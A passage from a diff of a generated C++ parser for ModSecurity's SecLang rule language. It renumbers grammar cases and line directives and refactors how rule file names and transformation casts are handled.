"seclang-parser.cc" +#line 2108 "seclang-parser.cc" break; - case 48: // op_before_init: "OPERATOR_VERIFY_CC" run_time_string -#line 967 "seclang-parser.yy" + case 49: // op_before_init: "OPERATOR_VERIFY_CC" run_time_string +#line 1002 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::VerifyCC(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2081 "seclang-parser.cc" +#line 2116 "seclang-parser.cc" break; - case 49: // op_before_init: "OPERATOR_VERIFY_CPF" run_time_string -#line 971 "seclang-parser.yy" + case 50: // op_before_init: "OPERATOR_VERIFY_CPF" run_time_string +#line 1006 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::VerifyCPF(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2089 "seclang-parser.cc" +#line 2124 "seclang-parser.cc" break; - case 50: // op_before_init: "OPERATOR_VERIFY_SSN" run_time_string -#line 975 "seclang-parser.yy" + case 51: // op_before_init: "OPERATOR_VERIFY_SSN" run_time_string +#line 1010 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::VerifySSN(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2097 "seclang-parser.cc" +#line 2132 "seclang-parser.cc" break; - case 51: // op_before_init: "OPERATOR_VERIFY_SVNR" run_time_string -#line 979 "seclang-parser.yy" + case 52: // op_before_init: "OPERATOR_VERIFY_SVNR" run_time_string +#line 1014 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::VerifySVNR(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2105 "seclang-parser.cc" +#line 2140 "seclang-parser.cc" break; - case 52: // op_before_init: "OPERATOR_GSB_LOOKUP" run_time_string -#line 983 "seclang-parser.yy" + case 53: // op_before_init: "OPERATOR_GSB_LOOKUP" run_time_string +#line 1018 "seclang-parser.yy" { /* $$ = new operators::GsbLookup($1); */ OPERATOR_NOT_SUPPORTED("GsbLookup", yystack_[2].location); } -#line 2114 "seclang-parser.cc" +#line 2149 "seclang-parser.cc" break; - case 53: // op_before_init: "OPERATOR_RSUB" run_time_string -#line 988 "seclang-parser.yy" + case 54: // op_before_init: "OPERATOR_RSUB" run_time_string +#line 1023 "seclang-parser.yy" { /* $$ = new operators::Rsub($1); */ OPERATOR_NOT_SUPPORTED("Rsub", yystack_[2].location); } -#line 2123 "seclang-parser.cc" +#line 2158 "seclang-parser.cc" break; - case 54: // op_before_init: "OPERATOR_WITHIN" run_time_string -#line 993 "seclang-parser.yy" + case 55: // op_before_init: "OPERATOR_WITHIN" run_time_string +#line 1028 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Within(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2131 "seclang-parser.cc" +#line 2166 "seclang-parser.cc" break; - case 55: // op_before_init: "OPERATOR_CONTAINS_WORD" run_time_string -#line 997 "seclang-parser.yy" + case 56: // op_before_init: "OPERATOR_CONTAINS_WORD" run_time_string +#line 1032 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ContainsWord(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2139 "seclang-parser.cc" +#line 2174 "seclang-parser.cc" break; - case 56: // op_before_init: "OPERATOR_CONTAINS" run_time_string -#line 1001 "seclang-parser.yy" + case 57: // op_before_init: "OPERATOR_CONTAINS" run_time_string +#line 1036 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Contains(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2147 "seclang-parser.cc" +#line 2182 "seclang-parser.cc" break; - case 57: // op_before_init: "OPERATOR_ENDS_WITH" run_time_string -#line 1005 "seclang-parser.yy" + case 58: // op_before_init: "OPERATOR_ENDS_WITH" run_time_string +#line 1040 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::EndsWith(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2155 "seclang-parser.cc" +#line 2190 "seclang-parser.cc" break; - case 58: // op_before_init: "OPERATOR_EQ" run_time_string -#line 1009 "seclang-parser.yy" + case 59: // op_before_init: "OPERATOR_EQ" run_time_string +#line 1044 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Eq(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2163 "seclang-parser.cc" +#line 2198 "seclang-parser.cc" break; - case 59: // op_before_init: "OPERATOR_GE" run_time_string -#line 1013 "seclang-parser.yy" + case 60: // op_before_init: "OPERATOR_GE" run_time_string +#line 1048 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Ge(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2171 "seclang-parser.cc" +#line 2206 "seclang-parser.cc" break; - case 60: // op_before_init: "OPERATOR_GT" run_time_string -#line 1017 "seclang-parser.yy" + case 61: // op_before_init: "OPERATOR_GT" run_time_string +#line 1052 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Gt(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2179 "seclang-parser.cc" +#line 2214 "seclang-parser.cc" break; - case 61: // op_before_init: "OPERATOR_IP_MATCH_FROM_FILE" run_time_string -#line 1021 "seclang-parser.yy" + case 62: // op_before_init: "OPERATOR_IP_MATCH_FROM_FILE" run_time_string +#line 1056 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::IpMatchF(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2187 "seclang-parser.cc" +#line 2222 "seclang-parser.cc" break; - case 62: // op_before_init: "OPERATOR_IP_MATCH" run_time_string -#line 1025 "seclang-parser.yy" + case 63: // op_before_init: "OPERATOR_IP_MATCH" run_time_string +#line 1060 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::IpMatch(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2195 "seclang-parser.cc" +#line 2230 "seclang-parser.cc" break; - case 63: // op_before_init: "OPERATOR_LE" run_time_string -#line 1029 "seclang-parser.yy" + case 64: // op_before_init: "OPERATOR_LE" run_time_string +#line 1064 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Le(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2203 "seclang-parser.cc" +#line 2238 "seclang-parser.cc" break; - case 64: // op_before_init: "OPERATOR_LT" run_time_string -#line 1033 "seclang-parser.yy" + case 65: // op_before_init: "OPERATOR_LT" run_time_string +#line 1068 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Lt(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2211 "seclang-parser.cc" +#line 2246 "seclang-parser.cc" break; - case 65: // op_before_init: "OPERATOR_PM_FROM_FILE" run_time_string -#line 1037 "seclang-parser.yy" + case 66: // op_before_init: "OPERATOR_PM_FROM_FILE" run_time_string +#line 1072 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::PmFromFile(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2219 "seclang-parser.cc" +#line 2254 "seclang-parser.cc" break; - case 66: // op_before_init: "OPERATOR_PM" run_time_string -#line 1041 "seclang-parser.yy" + case 67: // op_before_init: "OPERATOR_PM" run_time_string +#line 1076 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Pm(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2227 "seclang-parser.cc" +#line 2262 "seclang-parser.cc" break; - case 67: // op_before_init: "OPERATOR_RBL" run_time_string -#line 1045 "seclang-parser.yy" + case 68: // op_before_init: "OPERATOR_RBL" run_time_string +#line 1080 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Rbl(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2235 "seclang-parser.cc" +#line 2270 "seclang-parser.cc" break; - case 68: // op_before_init: "OPERATOR_RX" run_time_string -#line 1049 "seclang-parser.yy" + case 69: // op_before_init: "OPERATOR_RX" run_time_string +#line 1084 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Rx(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2243 "seclang-parser.cc" +#line 2278 "seclang-parser.cc" break; - case 69: // op_before_init: "OPERATOR_RX_GLOBAL" run_time_string -#line 1053 "seclang-parser.yy" + case 70: // op_before_init: "OPERATOR_RX_GLOBAL" run_time_string +#line 1088 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::RxGlobal(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2251 "seclang-parser.cc" +#line 2286 "seclang-parser.cc" break; - case 70: // op_before_init: "OPERATOR_STR_EQ" run_time_string -#line 1057 "seclang-parser.yy" + case 71: // op_before_init: "OPERATOR_STR_EQ" run_time_string +#line 1092 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::StrEq(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2259 "seclang-parser.cc" +#line 2294 "seclang-parser.cc" break; - case 71: // op_before_init: "OPERATOR_STR_MATCH" run_time_string -#line 1061 "seclang-parser.yy" + case 72: // op_before_init: "OPERATOR_STR_MATCH" run_time_string +#line 1096 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::StrMatch(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2267 "seclang-parser.cc" +#line 2302 "seclang-parser.cc" break; - case 72: // op_before_init: "OPERATOR_BEGINS_WITH" run_time_string -#line 1065 "seclang-parser.yy" + case 73: // op_before_init: "OPERATOR_BEGINS_WITH" run_time_string +#line 1100 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::BeginsWith(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2275 "seclang-parser.cc" +#line 2310 "seclang-parser.cc" break; - case 73: // op_before_init: "OPERATOR_GEOLOOKUP" -#line 1069 "seclang-parser.yy" + case 74: // op_before_init: "OPERATOR_GEOLOOKUP" +#line 1104 "seclang-parser.yy" { #if defined(WITH_GEOIP) or defined(WITH_MAXMIND) OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::GeoLookup()); @@ -2286,17 +2321,18 @@ namespace yy { YYERROR; #endif // WITH_GEOIP } -#line 2290 "seclang-parser.cc" +#line 2325 "seclang-parser.cc" break; - case 75: // expression: "DIRECTIVE" variables op actions -#line 1084 "seclang-parser.yy" + case 76: // expression: "DIRECTIVE" variables op actions +#line 1119 "seclang-parser.yy" { std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *yystack_[0].value.as < std::unique_ptr > > > ().get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -2312,7 +2348,7 @@ namespace yy { /* variables */ v, /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*yystack_[3].location.end.filename)), + /* file name */ std::string(*yystack_[3].location.end.filename), /* line number */ yystack_[3].location.end.line )); @@ -2320,11 +2356,11 @@ namespace yy { YYERROR; } } -#line 2324 "seclang-parser.cc" +#line 2360 "seclang-parser.cc" break; - case 76: // expression: "DIRECTIVE" variables op -#line 1114 "seclang-parser.yy" + case 77: // expression: "DIRECTIVE" variables op +#line 1150 "seclang-parser.yy" { variables::Variables *v = new variables::Variables(); for (auto &i : *yystack_[1].value.as < std::unique_ptr > > > ().get()) { @@ -2336,24 +2372,25 @@ namespace yy { /* variables */ v, /* actions */ NULL, /* transformations */ NULL, - /* file name */ std::unique_ptr(new std::string(*yystack_[2].location.end.filename)), + /* file name */ std::string(*yystack_[2].location.end.filename), /* line number */ yystack_[2].location.end.line )); if (driver.addSecRule(std::move(rule)) == false) { YYERROR; } } -#line 2347 "seclang-parser.cc" +#line 2383 "seclang-parser.cc" break; - case 77: // expression: "CONFIG_DIR_SEC_ACTION" actions -#line 1133 "seclang-parser.yy" + case 78: // expression: "CONFIG_DIR_SEC_ACTION" actions +#line 1169 "seclang-parser.yy" { std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *yystack_[0].value.as < std::unique_ptr > > > ().get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -2361,23 +2398,24 @@ namespace yy { std::unique_ptr rule(new RuleUnconditional( /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*yystack_[1].location.end.filename)), + /* file name */ std::string(*yystack_[1].location.end.filename), /* line number */ yystack_[1].location.end.line )); driver.addSecAction(std::move(rule)); } -#line 2370 "seclang-parser.cc" +#line 2407 "seclang-parser.cc" break; - case 78: // expression: "DIRECTIVE_SECRULESCRIPT" actions -#line 1152 "seclang-parser.yy" + case 79: // expression: "DIRECTIVE_SECRULESCRIPT" actions +#line 1189 "seclang-parser.yy" { std::string err; std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *yystack_[0].value.as < std::unique_ptr > > > ().get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -2386,7 +2424,7 @@ namespace yy { /* path to script */ yystack_[1].value.as < std::string > (), /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*yystack_[1].location.end.filename)), + /* file name */ std::string(*yystack_[1].location.end.filename), /* line number */ yystack_[1].location.end.line )); @@ -2398,11 +2436,11 @@ namespace yy { YYERROR; } } -#line 2402 "seclang-parser.cc" +#line 2440 "seclang-parser.cc" break; - case 79: // expression: "CONFIG_DIR_SEC_DEFAULT_ACTION" actions -#line 1180 "seclang-parser.yy" + case 80: // expression: "CONFIG_DIR_SEC_DEFAULT_ACTION" actions +#line 1218 "seclang-parser.yy" { bool hasDisruptive = false; std::vector *actions = new std::vector(); @@ -2421,8 +2459,8 @@ namespace yy { definedPhase = phase->m_phase; secRuleDefinedPhase = phase->m_secRulesPhase; delete phase; - } else if (a->action_kind == actions::Action::RunTimeOnlyIfMatchKind || - a->action_kind == actions::Action::RunTimeBeforeMatchAttemptKind) { + } else if (a->action_kind == actions::Action::Kind::RunTimeOnlyIfMatchKind || + a->action_kind == actions::Action::Kind::RunTimeBeforeMatchAttemptKind) { actions::transformations::None *none = dynamic_cast(a); if (none != NULL) { driver.error(yystack_[2].location, "The transformation none is not suitable to be part of the SecDefaultActions"); @@ -2459,78 +2497,78 @@ namespace yy { delete actions; } -#line 2463 "seclang-parser.cc" +#line 2501 "seclang-parser.cc" break; - case 80: // expression: "CONFIG_DIR_SEC_MARKER" -#line 1237 "seclang-parser.yy" + case 81: // expression: "CONFIG_DIR_SEC_MARKER" +#line 1275 "seclang-parser.yy" { driver.addSecMarker(modsecurity::utils::string::removeBracketsIfNeeded(yystack_[0].value.as < std::string > ()), - /* file name */ std::unique_ptr(new std::string(*yystack_[0].location.end.filename)), + /* file name */ std::string(*yystack_[0].location.end.filename), /* line number */ yystack_[0].location.end.line ); } -#line 2474 "seclang-parser.cc" +#line 2512 "seclang-parser.cc" break; - case 81: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_OFF" -#line 1244 "seclang-parser.yy" + case 82: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_OFF" +#line 1282 "seclang-parser.yy" { driver.m_secRuleEngine = modsecurity::RulesSet::DisabledRuleEngine; } -#line 2482 "seclang-parser.cc" +#line 2520 "seclang-parser.cc" break; - case 82: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_ON" -#line 1248 "seclang-parser.yy" + case 83: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_ON" +#line 1286 "seclang-parser.yy" { driver.m_secRuleEngine = modsecurity::RulesSet::EnabledRuleEngine; } -#line 2490 "seclang-parser.cc" +#line 2528 "seclang-parser.cc" break; - case 83: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_DETC" -#line 1252 "seclang-parser.yy" + case 84: // expression: "CONFIG_DIR_RULE_ENG" "CONFIG_VALUE_DETC" +#line 1290 "seclang-parser.yy" { driver.m_secRuleEngine = modsecurity::RulesSet::DetectionOnlyRuleEngine; } -#line 2498 "seclang-parser.cc" +#line 2536 "seclang-parser.cc" break; - case 84: // expression: "CONFIG_DIR_REQ_BODY" "CONFIG_VALUE_ON" -#line 1256 "seclang-parser.yy" + case 85: // expression: "CONFIG_DIR_REQ_BODY" "CONFIG_VALUE_ON" +#line 1294 "seclang-parser.yy" { driver.m_secRequestBodyAccess = modsecurity::RulesSetProperties::TrueConfigBoolean; } -#line 2506 "seclang-parser.cc" +#line 2544 "seclang-parser.cc" break; - case 85: // expression: "CONFIG_DIR_REQ_BODY" "CONFIG_VALUE_OFF" -#line 1260 "seclang-parser.yy" + case 86: // expression: "CONFIG_DIR_REQ_BODY" "CONFIG_VALUE_OFF" +#line 1298 "seclang-parser.yy" { driver.m_secRequestBodyAccess = modsecurity::RulesSetProperties::FalseConfigBoolean; } -#line 2514 "seclang-parser.cc" +#line 2552 "seclang-parser.cc" break; - case 86: // expression: "CONFIG_DIR_RES_BODY" "CONFIG_VALUE_ON" -#line 1264 "seclang-parser.yy" + case 87: // expression: "CONFIG_DIR_RES_BODY" "CONFIG_VALUE_ON" +#line 1302 "seclang-parser.yy" { driver.m_secResponseBodyAccess = modsecurity::RulesSetProperties::TrueConfigBoolean; } -#line 2522 "seclang-parser.cc" +#line 2560 "seclang-parser.cc" break; - case 87: // expression: "CONFIG_DIR_RES_BODY" "CONFIG_VALUE_OFF" -#line 1268 "seclang-parser.yy" + case 88: // expression: "CONFIG_DIR_RES_BODY" "CONFIG_VALUE_OFF" +#line 1306 "seclang-parser.yy" { driver.m_secResponseBodyAccess = modsecurity::RulesSetProperties::FalseConfigBoolean; } -#line 2530 "seclang-parser.cc" +#line 2568 "seclang-parser.cc" break; - case 88: // expression: "CONFIG_SEC_ARGUMENT_SEPARATOR" -#line 1272 "seclang-parser.yy" + case 89: // expression: "CONFIG_SEC_ARGUMENT_SEPARATOR" +#line 1310 "seclang-parser.yy" { if (yystack_[0].value.as < std::string > ().length() != 1) { driver.error(yystack_[1].location, "Argument separator should be set to a single character."); @@ -2539,259 +2577,259 @@ namespace yy { driver.m_secArgumentSeparator.m_value = yystack_[0].value.as < std::string > (); driver.m_secArgumentSeparator.m_set = true; } -#line 2543 "seclang-parser.cc" +#line 2581 "seclang-parser.cc" break; - case 89: // expression: "CONFIG_COMPONENT_SIG" -#line 1281 "seclang-parser.yy" + case 90: // expression: "CONFIG_COMPONENT_SIG" +#line 1319 "seclang-parser.yy" { driver.m_components.push_back(yystack_[0].value.as < std::string > ()); } -#line 2551 "seclang-parser.cc" +#line 2589 "seclang-parser.cc" break; - case 90: // expression: "CONFIG_CONN_ENGINE" "CONFIG_VALUE_ON" -#line 1285 "seclang-parser.yy" + case 91: // expression: "CONFIG_CONN_ENGINE" "CONFIG_VALUE_ON" +#line 1323 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecConnEngine is not yet supported."); YYERROR; } -#line 2560 "seclang-parser.cc" +#line 2598 "seclang-parser.cc" break; - case 91: // expression: "CONFIG_CONN_ENGINE" "CONFIG_VALUE_OFF" -#line 1290 "seclang-parser.yy" + case 92: // expression: "CONFIG_CONN_ENGINE" "CONFIG_VALUE_OFF" +#line 1328 "seclang-parser.yy" { } -#line 2567 "seclang-parser.cc" +#line 2605 "seclang-parser.cc" break; - case 92: // expression: "CONFIG_SEC_WEB_APP_ID" -#line 1293 "seclang-parser.yy" + case 93: // expression: "CONFIG_SEC_WEB_APP_ID" +#line 1331 "seclang-parser.yy" { driver.m_secWebAppId.m_value = yystack_[0].value.as < std::string > (); driver.m_secWebAppId.m_set = true; } -#line 2576 "seclang-parser.cc" +#line 2614 "seclang-parser.cc" break; - case 93: // expression: "CONFIG_SEC_SERVER_SIG" -#line 1298 "seclang-parser.yy" + case 94: // expression: "CONFIG_SEC_SERVER_SIG" +#line 1336 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecServerSignature is not supported."); YYERROR; } -#line 2585 "seclang-parser.cc" +#line 2623 "seclang-parser.cc" break; - case 94: // expression: "CONFIG_SEC_CACHE_TRANSFORMATIONS" -#line 1303 "seclang-parser.yy" + case 95: // expression: "CONFIG_SEC_CACHE_TRANSFORMATIONS" +#line 1341 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecCacheTransformations is not supported."); YYERROR; } -#line 2594 "seclang-parser.cc" +#line 2632 "seclang-parser.cc" break; - case 95: // expression: "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" "CONFIG_VALUE_ON" -#line 1308 "seclang-parser.yy" + case 96: // expression: "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" "CONFIG_VALUE_ON" +#line 1346 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecDisableBackendCompression is not supported."); YYERROR; } -#line 2603 "seclang-parser.cc" +#line 2641 "seclang-parser.cc" break; - case 96: // expression: "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" "CONFIG_VALUE_OFF" -#line 1313 "seclang-parser.yy" + case 97: // expression: "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" "CONFIG_VALUE_OFF" +#line 1351 "seclang-parser.yy" { } -#line 2610 "seclang-parser.cc" +#line 2648 "seclang-parser.cc" break; - case 97: // expression: "CONFIG_CONTENT_INJECTION" "CONFIG_VALUE_ON" -#line 1316 "seclang-parser.yy" + case 98: // expression: "CONFIG_CONTENT_INJECTION" "CONFIG_VALUE_ON" +#line 1354 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecContentInjection is not yet supported."); YYERROR; } -#line 2619 "seclang-parser.cc" +#line 2657 "seclang-parser.cc" break; - case 98: // expression: "CONFIG_CONTENT_INJECTION" "CONFIG_VALUE_OFF" -#line 1321 "seclang-parser.yy" + case 99: // expression: "CONFIG_CONTENT_INJECTION" "CONFIG_VALUE_OFF" +#line 1359 "seclang-parser.yy" { } -#line 2626 "seclang-parser.cc" +#line 2664 "seclang-parser.cc" break; - case 99: // expression: "CONFIG_SEC_CHROOT_DIR" -#line 1324 "seclang-parser.yy" + case 100: // expression: "CONFIG_SEC_CHROOT_DIR" +#line 1362 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecChrootDir is not supported."); YYERROR; } -#line 2635 "seclang-parser.cc" +#line 2673 "seclang-parser.cc" break; - case 100: // expression: "CONFIG_SEC_HASH_ENGINE" "CONFIG_VALUE_ON" -#line 1329 "seclang-parser.yy" + case 101: // expression: "CONFIG_SEC_HASH_ENGINE" "CONFIG_VALUE_ON" +#line 1367 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecHashEngine is not yet supported."); YYERROR; } -#line 2644 "seclang-parser.cc" +#line 2682 "seclang-parser.cc" break; - case 101: // expression: "CONFIG_SEC_HASH_ENGINE" "CONFIG_VALUE_OFF" -#line 1334 "seclang-parser.yy" + case 102: // expression: "CONFIG_SEC_HASH_ENGINE" "CONFIG_VALUE_OFF" +#line 1372 "seclang-parser.yy" { } -#line 2651 "seclang-parser.cc" +#line 2689 "seclang-parser.cc" break; - case 102: // expression: "CONFIG_SEC_HASH_KEY" -#line 1337 "seclang-parser.yy" + case 103: // expression: "CONFIG_SEC_HASH_KEY" +#line 1375 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecHashKey is not yet supported."); YYERROR; } -#line 2660 "seclang-parser.cc" +#line 2698 "seclang-parser.cc" break; - case 103: // expression: "CONFIG_SEC_HASH_PARAM" -#line 1342 "seclang-parser.yy" + case 104: // expression: "CONFIG_SEC_HASH_PARAM" +#line 1380 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecHashParam is not yet supported."); YYERROR; } -#line 2669 "seclang-parser.cc" +#line 2707 "seclang-parser.cc" break; - case 104: // expression: "CONFIG_SEC_HASH_METHOD_RX" -#line 1347 "seclang-parser.yy" + case 105: // expression: "CONFIG_SEC_HASH_METHOD_RX" +#line 1385 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecHashMethodRx is not yet supported."); YYERROR; } -#line 2678 "seclang-parser.cc" +#line 2716 "seclang-parser.cc" break; - case 105: // expression: "CONFIG_SEC_HASH_METHOD_PM" -#line 1352 "seclang-parser.yy" + case 106: // expression: "CONFIG_SEC_HASH_METHOD_PM" +#line 1390 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecHashMethodPm is not yet supported."); YYERROR; } -#line 2687 "seclang-parser.cc" +#line 2725 "seclang-parser.cc" break; - case 106: // expression: "CONFIG_DIR_GSB_DB" -#line 1357 "seclang-parser.yy" + case 107: // expression: "CONFIG_DIR_GSB_DB" +#line 1395 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecGsbLookupDb is not supported."); YYERROR; } -#line 2696 "seclang-parser.cc" +#line 2734 "seclang-parser.cc" break; - case 107: // expression: "CONFIG_SEC_GUARDIAN_LOG" -#line 1362 "seclang-parser.yy" + case 108: // expression: "CONFIG_SEC_GUARDIAN_LOG" +#line 1400 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecGuardianLog is not supported."); YYERROR; } -#line 2705 "seclang-parser.cc" +#line 2743 "seclang-parser.cc" break; - case 108: // expression: "CONFIG_SEC_INTERCEPT_ON_ERROR" "CONFIG_VALUE_ON" -#line 1367 "seclang-parser.yy" + case 109: // expression: "CONFIG_SEC_INTERCEPT_ON_ERROR" "CONFIG_VALUE_ON" +#line 1405 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecInterceptOnError is not yet supported."); YYERROR; } -#line 2714 "seclang-parser.cc" +#line 2752 "seclang-parser.cc" break; - case 109: // expression: "CONFIG_SEC_INTERCEPT_ON_ERROR" "CONFIG_VALUE_OFF" -#line 1372 "seclang-parser.yy" + case 110: // expression: "CONFIG_SEC_INTERCEPT_ON_ERROR" "CONFIG_VALUE_OFF" +#line 1410 "seclang-parser.yy" { } -#line 2721 "seclang-parser.cc" +#line 2759 "seclang-parser.cc" break; - case 110: // expression: "CONFIG_SEC_CONN_R_STATE_LIMIT" -#line 1375 "seclang-parser.yy" + case 111: // expression: "CONFIG_SEC_CONN_R_STATE_LIMIT" +#line 1413 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecConnReadStateLimit is not yet supported."); YYERROR; } -#line 2730 "seclang-parser.cc" +#line 2768 "seclang-parser.cc" break; - case 111: // expression: "CONFIG_SEC_CONN_W_STATE_LIMIT" -#line 1380 "seclang-parser.yy" + case 112: // expression: "CONFIG_SEC_CONN_W_STATE_LIMIT" +#line 1418 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecConnWriteStateLimit is not yet supported."); YYERROR; } -#line 2739 "seclang-parser.cc" +#line 2777 "seclang-parser.cc" break; - case 112: // expression: "CONFIG_SEC_SENSOR_ID" -#line 1385 "seclang-parser.yy" + case 113: // expression: "CONFIG_SEC_SENSOR_ID" +#line 1423 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecSensorId is not yet supported."); YYERROR; } -#line 2748 "seclang-parser.cc" +#line 2786 "seclang-parser.cc" break; - case 113: // expression: "CONFIG_SEC_RULE_INHERITANCE" "CONFIG_VALUE_ON" -#line 1390 "seclang-parser.yy" + case 114: // expression: "CONFIG_SEC_RULE_INHERITANCE" "CONFIG_VALUE_ON" +#line 1428 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecRuleInheritance is not yet supported."); YYERROR; } -#line 2757 "seclang-parser.cc" +#line 2795 "seclang-parser.cc" break; - case 114: // expression: "CONFIG_SEC_RULE_INHERITANCE" "CONFIG_VALUE_OFF" -#line 1395 "seclang-parser.yy" + case 115: // expression: "CONFIG_SEC_RULE_INHERITANCE" "CONFIG_VALUE_OFF" +#line 1433 "seclang-parser.yy" { } -#line 2764 "seclang-parser.cc" +#line 2802 "seclang-parser.cc" break; - case 115: // expression: "CONFIG_SEC_RULE_PERF_TIME" -#line 1398 "seclang-parser.yy" + case 116: // expression: "CONFIG_SEC_RULE_PERF_TIME" +#line 1436 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecRulePerfTime is not yet supported."); YYERROR; } -#line 2773 "seclang-parser.cc" +#line 2811 "seclang-parser.cc" break; - case 116: // expression: "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" -#line 1403 "seclang-parser.yy" + case 117: // expression: "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" +#line 1441 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecStreamInBodyInspection is not supported."); YYERROR; } -#line 2782 "seclang-parser.cc" +#line 2820 "seclang-parser.cc" break; - case 117: // expression: "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" -#line 1408 "seclang-parser.yy" + case 118: // expression: "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" +#line 1446 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecStreamOutBodyInspection is not supported."); YYERROR; } -#line 2791 "seclang-parser.cc" +#line 